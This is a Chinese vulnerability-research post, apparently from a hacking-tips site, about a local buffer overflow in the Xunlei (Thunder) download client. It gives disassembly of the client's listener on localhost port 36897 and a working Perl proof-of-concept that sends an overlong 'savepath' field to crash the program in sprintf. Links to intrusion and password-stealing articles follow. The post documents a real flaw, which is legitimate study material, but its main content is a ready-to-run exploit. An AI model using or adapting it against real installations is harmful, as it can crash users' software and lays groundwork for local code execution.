最新迅雷本地溢出POC

所属分类: 实用技巧 / 漏洞研究 阅读数: 697
收藏 0 赞 0 分享

C:\>netstat -na|find "36897"
TCP 127.0.0.1:36897 0.0.0.0:0 LISTENING

绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。
......
23132CBE 68 B4C61323 push 2313C6B4 ; ASCII "savepath"
23132CC3 57 push edi
23132CC4 FFD6 call esi
23132CC6 59 pop ecx
23132CC7 84C0 test al, al

......

23132CEF 85FF test edi, edi
23132CF1 74 02 je short 23132CF5
23132CF3 8BCF mov ecx, edi
23132CF5 B8 D4C61323 mov eax, 2313C6D4 ; ASCII "XLDAP"
23132CFA 50 push eax
23132CFB 52 push edx
23132CFC 51 push ecx
23132CFD 50 push eax
23132CFE 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
23132D04 68 C0C61323 push 2313C6C0 ; ASCII "%s|%s|%s|%s"
......

根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懒看了下介绍,问题出在savepath方法上,那么构造数据就很简单了,POC如下:
 #!/usr/bin/perl
use IO::Socket;

if ($socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1",PeerPort => "36897",Proto => "TCP"))
{
$exploit = "XLDAP|savepath|".
# ("A" x 397).
 ("A" x 500).
 "|XLDAP";

 print $socket $exploit;
 sleep(1);
 close($socket);
}
else
{
 print "Cannot connect to localhost:36897 port\n";
}
如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行,就算使用[:-1]这种方法也没用,郁闷,目前不清楚是传递的过程还是print的时候,谁知道是什么原因?
23132D09 50 push eax
23132D0A FF15 54E51323 call dword ptr [<&MSVCRT.sprintf>] ; crash
23132D10 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
就是在执行这步sprintf函数复制的时候导致crash。
更多精彩内容其他人还在看

对Serv-U 6.0.0.2默认帐户及密码的一点理解

对Serv-U 6.0.0.2默认帐户及密码的一点理解
收藏 0 赞 0 分享

用asp记录论坛用户密码(dvbbs,leadbbs等)

用asp记录论坛用户密码(dvbbs,leadbbs等)
收藏 0 赞 0 分享

网吧破解:让你在网吧上霸王网

网吧破解:让你在网吧上霸王网
收藏 0 赞 0 分享

关于对河南网通封锁局域网共享上网的破解

关于对河南网通封锁局域网共享上网的破解
收藏 0 赞 0 分享

网吧入侵之攻无不克!

网吧入侵之攻无不克!
收藏 0 赞 0 分享

老兵新传-各种漏洞的利用和一些搜索参数

这篇文章主要介绍了老兵新传-各种漏洞的利用和一些搜索参数
收藏 0 赞 0 分享

用漏洞提升计算机控制权限(图)

用漏洞提升计算机控制权限(图)
收藏 0 赞 0 分享

从广告邮件到肉鸡成群(图)

从广告邮件到肉鸡成群(图)
收藏 0 赞 0 分享

JSP中的源代码泄漏问题

JSP中的源代码泄漏问题
收藏 0 赞 0 分享

河南移动网络客服系统验证码的缺陷分析和利用!

河南移动网络客服系统验证码的缺陷分析和利用!
收藏 0 赞 0 分享
查看更多